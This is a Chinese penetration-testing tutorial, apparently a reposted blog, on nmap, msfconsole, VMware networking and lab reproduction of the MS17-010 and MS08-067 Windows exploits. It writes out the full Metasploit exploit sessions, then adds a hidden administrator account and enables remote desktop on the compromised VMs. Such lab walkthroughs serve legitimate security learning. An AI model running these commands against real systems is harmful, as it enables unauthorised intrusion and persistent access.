【Kali】vmware虚拟机三种网络连接方式,ms17-010 , ms08_067的复现

news2024/11/23 21:08:55

【Kali】vmware虚拟机三种网络连接方式,ms17-010 , ms08_067的复现

  • nmap
  • msfconsole
  • vmware虚拟机三种网络连接方式
  • ms17-010
  • ms08_067

kali中对windowsXP、windows 7漏洞利用使用到的工具:nmap、msfconsole。

nmap

nmap是一个网络连接端扫描软件,用来扫描网上电脑开放的网络连接端。确定哪些服务运行在哪些连接端,并且推断计算机运行哪个操作系统。

通常我们在进行渗透测试的过程中需要对目标主机的端口开放状态进行探测,从而了解目标主机,进行对应的测试。

nmap使用示例

  1. nmap基本语法帮助
    nmap(或nmap --help)

在这里插入图片描述

  1. 相关帮助信息解析
    -p:(端口号)

  2. 普通扫描
    nmap (ip地址)

在这里插入图片描述

  1. 指定端口扫描
    nmap -p (端口) (ip地址)

在这里插入图片描述

  1. 批量端口扫描

5.1 利用”,”分割端口号进行批量扫描:
nmap -p 80,22,8080 (ip地址)

5.2 利用”-”分割端口号进行批量扫描:
nmap -p 80-135 (ip地址)

5.3 扫描所有端口:
nmap -p 1-65535 (ip地址)

在这里插入图片描述

  1. 指定端口类型进行扫描
    端口类型:
    UDP(简称U)
    TCP(简称T)

-sU :扫描UDP端口
-sT :扫描TCP端口

U:后跟UDP端口号
T:后跟TCP端口号

举栗子:
nmap -sU -p U:445 192.3.142

在这里插入图片描述

  1. 根据端口的常见性进行扫描
    nmap --top-ports 10 (ip地址)

在这里插入图片描述

  1. 根据端口的出现的概率(0-1)进行扫描
    nmap --port-ratio 0 (ip地址)
    –port-ratio 后跟概率(0-1)

在这里插入图片描述

nmap常用的命令讲完了,讲一下msfconsole。

msfconsole

msfconsole简称msf,是一款常用的渗透测试工具,包含了常见的漏洞利用模块和生成各种渗透文件,利用网站,手机等的漏洞将到目标靶机,操控目标靶机。

检查模块是否安装,终端输入msfconsole:

在这里插入图片描述
如果没有安装,使用apt命令安装:

apt install metasploit-framework 

msf 控制台参数运用

  • banner 这个主要是查看metasploit的版本信息,利用模块数量、payload数量等等。
  • use 这个是使用参数。如你要使用到某个利用模块,payload等,那么就要使用到use参数
  • Search 当你使用msfconsole的时候,你会用到各种漏洞模块、各种插件等等。
  • show 如果要显示利用模块,那么就输入show exploits。如果要显示payload,那么就输入show payloads。

vmware虚拟机三种网络连接方式

vmware为我们提供了三种网络工作模式,它们分别是:Bridged(桥接模式)、NAT(网络地址转换模式)、Host-Only(仅主机模式)。

1.仅主机模式

用于物理机与虚拟机之间连接。xshell等工具可以连接。
虚拟机网卡只需配置IPADDR与NETMASK。
配置时点击查看虚拟网络编辑器中的仅主机模式所在网段,将虚拟机的ip设置在该网段。
举个栗子:

在这里插入图片描述
VMnet1里面显示的192.168.14这一段就是仅主机模式所在的网段,虚拟机的ip就可以设置为192.168.14.开头的ip,比如192.168.14.50。

2.NAT模式

可以连接外网,但不会有独立ip,使用物理机的网络。
除了IPADDR和NETMASK之外还需要配置GATEWAY与DNS。
GATEWAY网关可以点击虚拟网络编辑器中的NAT设置查看。

在这里插入图片描述
3.桥接模式

能够连接外网,使用单独的ip地址,网段需要与桥接连接的外部网络的网段相同。
同一网段(子网)间终端可直接通信,如终端A和终端B;不在同一网段(子网)的终端不能直接通信,需要通过网关才能通信。

在这里插入图片描述

复现时需要配置虚拟机网络为桥接模式。配置方法参考:

第一步 虚拟网络编辑器
在这里插入图片描述

第二步 更改设置
在这里插入图片描述

第三步 选择桥接模式
在这里插入图片描述

第四步 虚拟机设置
在这里插入图片描述

第五步 虚拟机网络配置文件

由于桥接模式使用单独的ip地址,请事先查看自己的网络环境有哪些ip已经被使用了,我的物理机ip为192.168.0.102,虚拟机win7 的ip为:192.168.0.103,配置kail的ip时避开这些个就行。

我的win7配置为:192.168.0.103,kali配置为:192.168.0.100

cd /etc/network
vim interfaces

按i编辑,在原有内容
在这里插入图片描述在下方添加:

auto eth0
iface eth0 inet static  //配置eth0使用静态地址
address 192.168.0.100    //配置eth0的固定IP地址,网段要和物理机的一样,且此IP未被使用
netmask 255.255.255.0   //配置子网掩码
gateway 192.168.0.1      //配置网关

添加完后按Esc,按冒号(:),冒号后面输入wq保存后退出。
重启network服务:

systemctl stop NetworkManager  //NetworkManager这里注意大小写,linux是区分的。
systemctl restart networking   //重启服务。

配置完成后测试kali与win能够互相ping通。win这边需要关闭防火墙,否则kali是无论如何都ping通win的,这是我踩过坑的。

在这里插入图片描述kali:
在这里插入图片描述
win7:
在这里插入图片描述
虚拟机网络配置就完成了,下面正片开始。

ms17-010

提到操作系统漏洞,大家肯定听说过耳熟能详的永恒之蓝(MS17-010)了,他的爆发源于WannaCry勒索病毒的诞生。
该病毒是不法分子利用NSA(National Security Agency,美国国家安全局)泄露的危险漏洞“EternalBlue”(永恒之蓝)进行传播 。勒索病毒肆虐,俨然是一场全球性互联网灾难,给广大电脑用户造成了巨大损失。最新统计数据显示,100多个国家和地区超过10万台电脑遭到了勒索病毒攻击、感染。 勒索病毒是自熊猫烧香以来影响力最大的病毒之一。

现在我们在win7虚拟机中对这个漏洞进行复现。

kali使用nmap扫描本网段中所有的主机,这个过程会需要数十秒:

nmap 192.168.0.0/24

我这里扫描到了192.168.0.1、192.168.0.102、192.168.0.103、192.168.0.100、192.168.0.104的主机,靶机就是192.168.0.100,它的445端口是“open”的:

在这里插入图片描述
输入msfconsole打开MSF渗透测试工具:
这样就是开启成功了:

在这里插入图片描述
搜索ms17_010代码,使用msf中的auxiliary模块进行扫描:

search ms17_010
msf6 > search ms17_010

Matching Modules
================

   #  Name                                      Disclosure Date  Rank     Check  Description
   -  ----                                      ---------------  ----     -----  -----------
   0  exploit/windows/smb/ms17_010_eternalblue  2017-03-14       average  Yes    MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption
   1  exploit/windows/smb/ms17_010_psexec       2017-03-14       normal   Yes    MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Code Execution
   2  auxiliary/admin/smb/ms17_010_command      2017-03-14       normal   No     MS17-010 EternalRomance/EternalSynergy/EternalChampion SMB Remote Windows Command Execution
   3  auxiliary/scanner/smb/smb_ms17_010                         normal   No     MS17-010 SMB RCE Detection


Interact with a module by name or index. For example info 3, use 3 or use auxiliary/scanner/smb/smb_ms17_010

使用模块 3 auxiliary/scanner/smb/smb_ms17_010 ,扫描靶机192.168.0.103是否存在MS17-010漏洞:

msf6 > use 3
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.0.103
rhosts => 192.168.0.103
msf6 auxiliary(scanner/smb/smb_ms17_010) > run

[+] 192.168.0.103:445     - Host is likely VULNERABLE to MS17-010! - Windows 7 Home Basic 7601 Service Pack 1 x64 (64-bit)
[*] 192.168.0.103:445     - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

看到这句:Host is likely VULNERABLE to MS17-010!
主机很可能存在MS17-010!
使用永恒之蓝攻击模块 0 exploit/windows/smb/ms17_010_eternalblue对其进行攻击:

msf6 auxiliary(scanner/smb/smb_ms17_010) > use 0
[*] No payload configured, defaulting to windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.0.103
rhosts => 192.168.0.103
msf6 exploit(windows/smb/ms17_010_eternalblue) > run

提示攻击成功:

在这里插入图片描述

现在我们已经可以利用这个漏洞了,我想获取靶机shell,那么就输入:shell

meterpreter > shell
Process 1156 created.
Channel 1 created.
Microsoft Windows [�汾 6.1.7601]
��Ȩ���� (c) 2009 Microsoft Corporation����������Ȩ����

出现乱码,为解决乱码,将其编码设为UTF-8,只需要再输入:

chcp 65001 //65001为UTF-8的代码页

创建新用户:net user 1 123456 /add

C:\Windows\system32>net user 1 123456 /add             
net user 1 123456/add
The command completed successfully.

将用户1添加至管理员:net localgroup administrators 1 /add

想要对靶机进行远程桌面连接,需要知道远程桌面默认端口号:3389有没有开启。
查看开启的端口:netstat -ano
发现3389端口并没有开启,使用命令开启:

REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
C:\Windows\system32>REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
The operation completed successfully.

出现successfully就是成功了。端口已经开启,另起一个kali终端,输入命令:

rdesktop 192.168.0.103

进行远程桌面连接。

ms08_067

MS08-067漏洞全称是“Windows Server服务RPC请求缓冲区溢出漏洞”,攻击者利用受害者主机默认开放的SMB服务端口445,发送特殊RPC(Remote Procedure Call,远程过程调用)请求,造成栈缓冲区内存错误,从而被利用实施远程代码执行。

当用户在受影响的系统上收到RPC请求时,该漏洞会允许远程执行代码,攻击者可以在未经身份验证情况下利用此漏洞运行任意代码。同时,该漏洞可以用于蠕虫攻击。它影响了某些旧版本的Windows系统,包括:

Windows 2000
Windows XP
Windows Server 2003

使用winXP进行MS08-067漏洞的复现,开始之前需要配置桥接网络,关闭winXP防火墙,确保与kali能够互相ping通。

winXP:192.168.0.104
kali:192.168.0.100

在这里插入图片描述
在这里插入图片描述
开始复现:
同ms17-010一样,使用nmap扫描网段下所有主机:

nmap 192.168.0.0/24
Nmap scan report for 192.168.0.104
Host is up (0.00056s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT     STATE SERVICE
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
1025/tcp open  NFS-or-IIS
5000/tcp open  upnp

扫描到靶机,而且它的445端口为“open”。

进入Msfconsole并利用search语句查找漏洞利用模块。

search ms08-067
msf6 > search ms08-067

Matching Modules
================

   #  Name                                 Disclosure Date  Rank   Check  Description
   -  ----                                 ---------------  ----   -----  -----------
   0  exploit/windows/smb/ms08_067_netapi  2008-10-28       great  Yes    MS08-067 Microsoft Server Service Relative Path Stack Corruption              


Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/smb/ms08_067_netapi 

进入漏洞模块:use 0 或者
use exploit/windows/smb/ms08_067_netapi

设置靶机ip等参数:

# 目标机ip
set RHOST 192.168.0.104
# 端口号
set RPORT 445
# 设置payload
set payload generic/shell_bind_tcp
# 攻击机ip
set LHOST 192.168.0.100
# 设置自动类型
set target 0
# 显示配置信息
show options

在这里插入图片描述
现在处于待触发攻击状态,输入语句exploit开始攻击:

msf6 exploit(windows/smb/ms08_067_netapi) > exploit

[*] 192.168.0.104:445 - Automatically detecting the target...
[*] 192.168.0.104:445 - Fingerprint: Windows XP - Service Pack 0 / 1 - lang:Chinese - Traditional
[*] 192.168.0.104:445 - Selected Target: Windows XP SP0/SP1 Universal
[*] 192.168.0.104:445 - Attempting to trigger the vulnerability...
[*] Started bind TCP handler against 192.168.0.104:4444
[*] Command shell session 1 opened (192.168.0.100:33333 -> 192.168.0.104:4444) at 2023-08-13 01:40:25 -0400


Shell Banner:
Microsoft Windows XP [_ 5.1.2600]
-----

此时我们成功获取了Windows XP系统的Shell,我们调用“ipconfig”查看的IP地址也是目标的“192.168.0.104”。

C:\WINDOWS\system32>ipconfig
ipconfig

Windows IP Configuration


Ethernet adapter ��������:

        Connection-specific DNS Suffix  . : DHCP HOST
        IP Address. . . . . . . . . . . . : 192.168.0.104
        Subnet Mask . . . . . . . . . . . : 255.255.255.0
        Default Gateway . . . . . . . . . : 192.168.0.1

现在可以通过命令行对靶机进行创建文件夹、查看目录或者新建文件等行为。

C:\WINDOWS\system32>mkdir yunxi
mkdir yunxi

在这里插入图片描述

对目标XP主机进行深度提权:

# 增加用户
net user yunxi 123456 /add 
# 提升用户管理员权限
net localgroup administrators yunxi /add

在这里插入图片描述

开启远程连接3389端口并进行远程操作:

# 开启远程连接
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
# 查看网络端口
netstat -an
# 远程连接
rdesktop 192.168.0.104
C:\WINDOWS\system32\yunxi>echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat
echo reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f > C:\WINDOWS\system32\3389.bat && call 3389.bat

C:\WINDOWS\system32\yunxi>reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f   

�����ɹ�
C:\WINDOWS\system32\yunxi>netstat -an
netstat -an

Active Connections

  Proto  Local Address          Foreign Address        State
  TCP    0.0.0.0:135            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:445            0.0.0.0:0              LISTENING
  TCP    0.0.0.0:1025           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:3389           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:4444           0.0.0.0:0              LISTENING
  TCP    0.0.0.0:5000           0.0.0.0:0              LISTENING
  TCP    192.168.0.104:139      0.0.0.0:0              LISTENING
  TCP    192.168.0.104:4444     192.168.0.100:33333    CLOSE_WAIT
  TCP    192.168.0.104:4444     192.168.0.100:38951    CLOSE_WAIT
  TCP    192.168.0.104:4444     192.168.0.100:39675    ESTABLISHED
  UDP    0.0.0.0:135            *:*                    
  UDP    0.0.0.0:445            *:*                    
  UDP    0.0.0.0:500            *:*                    
  UDP    0.0.0.0:1026           *:*                    
  UDP    127.0.0.1:123          *:*                    
  UDP    127.0.0.1:1030         *:*                    
  UDP    127.0.0.1:1900         *:*                    
  UDP    192.168.0.104:123      *:*                    
  UDP    192.168.0.104:137      *:*                    
  UDP    192.168.0.104:138      *:*                    
  UDP    192.168.0.104:1900     *:* 

另起一个kali终端,输入rdesktop 192.168.0.104,输入用户名和密码(yunxi,123456)

在这里插入图片描述
以上就是ms08_067漏洞的复现与利用。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/871437.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

FL Studio 21最新for Windows-21.1.0.3267中文解锁版安装激活教程及更新日志

FL Studio 21最新版本for Windows 21.1.0.3267中文解锁版是最新强大的音乐制作工具。它可以与所有类型的音乐一起创作出令人惊叹的音乐。它提供了一个非常简单且用户友好的集成开发环境(IDE)来工作。这个完整的音乐工作站是由比利时公司 Image-Line 开发…

QT编译fabs not declared in this scope

使用MinGW进行编译出现如下情况。 这种查了不少资料都没有解决&#xff0c;因为在使用微软的编译器不存在这个问题。 后面发现只需要在加入头文件 #include <math.h>就可以解决了。

opencv图片灰度二值化

INCLUDEPATH D:\work\opencv_3.4.2_Qt\include LIBS D:\work\opencv_3.4.2_Qt\x86\bin\libopencv_*.dll #include <iostream> #include<opencv2/opencv.hpp> //引入头文件using namespace cv; //命名空间 using namespace std;//opencv这个机器视…

在线吉他调音

先看效果&#xff08;图片没有声&#xff0c;可以下载源码看看&#xff0c;比这更好~&#xff09;&#xff1a; 再看代码&#xff08;查看更多&#xff09;&#xff1a; <!DOCTYPE html> <html lang"en"> <head><meta charset"UTF-8&quo…

无涯教程-Perl - readdir函数

描述 此函数在标量context中从与DIRHANDLE关联的目录返回下一个目录条目。在列表context中,返回DIRHANDLE中的所有其余目录条目。 语法 以下是此函数的简单语法- readdir DIRHANDLE返回值 此函数在标量context中从与DIRHANDLE关联的目录返回下一个目录条目。在列表context…

文件高效管理,自动新建多个同名文件夹并分类整理大量文件

你有没有遇到过需要新建大量同名文件夹并分类整理海量文件的情况&#xff1f;如果是&#xff0c;那么我们的文件管理软件将会是你的救星&#xff01;我们的软件将帮助你轻松实现自动新建多个同名文件夹&#xff0c;并帮助你高效地分类整理大量文件。让我们来告诉你一些使用我们…

LeetCode 1631. Path With Minimum Effort【最小瓶颈路;二分+BFS或DFS;计数排序+并查集;最小生成树】1947

本文属于「征服LeetCode」系列文章之一&#xff0c;这一系列正式开始于2021/08/12。由于LeetCode上部分题目有锁&#xff0c;本系列将至少持续到刷完所有无锁题之日为止&#xff1b;由于LeetCode还在不断地创建新题&#xff0c;本系列的终止日期可能是永远。在这一系列刷题文章…

音画欣赏|《亲亲湖边水》

《亲亲湖边水》60x50cm陈可之1988年绘 贝加尔湖畔 【李健】 在我的怀里 在你的眼里 那里春风沉醉 那里绿草如茵 月光把爱恋 洒满了湖面 两个人的篝火 照亮整个夜晚 多少年以后 如云般游走 那变换的脚步 让我们难牵手 这一生一世 有多少你我 被吞没在月光如水的夜里 多想某…

「何」到底该读「なん」还是「なに」?柯桥学日语

「何」到底该读「なん」还是「なに」&#xff1f; 首先&#xff0c;讲一个规律&#xff0c;大家记住就行。当「何」后面所接单词的第一个发音在“た”、“だ”、“な”行时&#xff0c;读作“なん”。一般这种情况下&#xff0c;后面跟的是の、でも、です和だ。 用例&#xff…

Ubuntu安装bfloat16==1.1出现问题 error: subprocess-exited-with-error

报错 error: subprocess-exited-with-error python setup.py bdist_wheel did not run successfully. 解决方法 确保你的系统上已经安装了 C/C 编译器&#xff08;如 gcc、g&#xff09;。 如果你使用的是 Linux 系统&#xff0c;你可以使用包管理器来安装它们。命令如下 u…

华为OD机试真题 Java 实现【数组去重和排序】【2023 B卷 100分】

目录 专栏导读一、题目描述二、输入描述三、输出描述四、解题思路五、Java算法源码六、效果展示1、输入2、输出3、说明 华为OD机试 2023B卷题库疯狂收录中&#xff0c;刷题点这里 专栏导读 本专栏收录于《华为OD机试&#xff08;JAVA&#xff09;真题&#xff08;A卷B卷&#…

详细介绍如何对音乐信息进行检索和音频节拍跟踪

在本文中,我们将了解节拍的概念,以及我们在尝试跟踪节拍时面临的挑战。然后我们将介绍解决问题的方法以及业界最先进的解决方案。 介绍 音乐就在我们身边。每当我们听到任何与我们的心灵和思想相关的音乐时,我们就会迷失其中。我们下意识地随着听到的节拍而敲击。您一定已…

SpringBoot 异步、邮件任务

异步任务 创建一个Hello项目 创建一个类AsyncService 异步处理还是非常常用的&#xff0c;比如我们在网站上发送邮件&#xff0c;后台会去发送邮件&#xff0c;此时前台会造成响应不动&#xff0c;直到邮件发送完毕&#xff0c;响应才会成功&#xff0c;所以我们一般会采用多线…

线程池,以及线程池的实现以及面试常问的问题,工厂模式,常见的锁策略(面试常考,要了解,不行就背)

一、&#x1f49b; 线程池的基本介绍 内存池&#xff0c;进程池&#xff0c;连接池&#xff0c;常量池&#xff0c;这些池子概念上都是一样的&#xff5e;&#xff5e; 如果我们需要频繁的创建销毁线程&#xff0c;此时创建销毁的成本就不能忽视了&#xff0c;因此就可以使用线…

数据结构刷题训练:设计循环队列(力扣OJ)

目录 文章目录 前言 1. 题目&#xff1a;设计循环队列 2. 思路 3. 分析 3.1 定义循环队列 3.2 创建队列 3.3 判空和判满 3.4 入队 3.5 出队 3.6 取队头队尾数据 3.7 销毁队列 4. 题解 总结 前言 当谈到队列数据结构时&#xff0c;很多人可能会想到普通的队列&#xff0c;即先进…

拷贝对象时的一些编译器优化

在传参和传返回值的过程中&#xff0c;一般编译器会做一些优化&#xff0c;减少对象的拷贝&#xff0c;这个在一些场景下还是非常有用的

Linux之awk判断和循环

echo zhaoy 70 72 74 76 74 72 >> score.txt echo wangl 70 81 84 82 90 88 >> score.txt echo qiane 60 62 64 66 65 62 >> score.txt echo sunw 80 83 84 85 84 85 >> score.txt echo lixi 96 80 90 95 89 87 >> score.txt把下边的内容写入到s…

FL Studio for Windows-21.1.0.3713中文直装版功能介绍及系统配置要求

FL Studio 21简称FL水果软件,全称是&#xff1a;Fruity Loops Studio编曲&#xff0c;由于其Logo长的比较像一款水果因此&#xff0c;在大家更多的是喜欢称他为水果萝卜&#xff0c;FL studio21是目前最新的版本&#xff0c;这是一款可以让你的计算机就像是一个全功能的录音室&…

SpringBoot复习(39)Servlet容器的自动配置原理

Servlet容器自动配置类为ServletWebServerFactoryAutoConfiguration 可以看到通过Import注解导入了三个配置类&#xff1a; 通过这个这三个配置类可以看出&#xff0c;它们都使用了ConditionalOnClass注解&#xff0c;当类路径存在tomcat相关的类时&#xff0c;会配置一个T…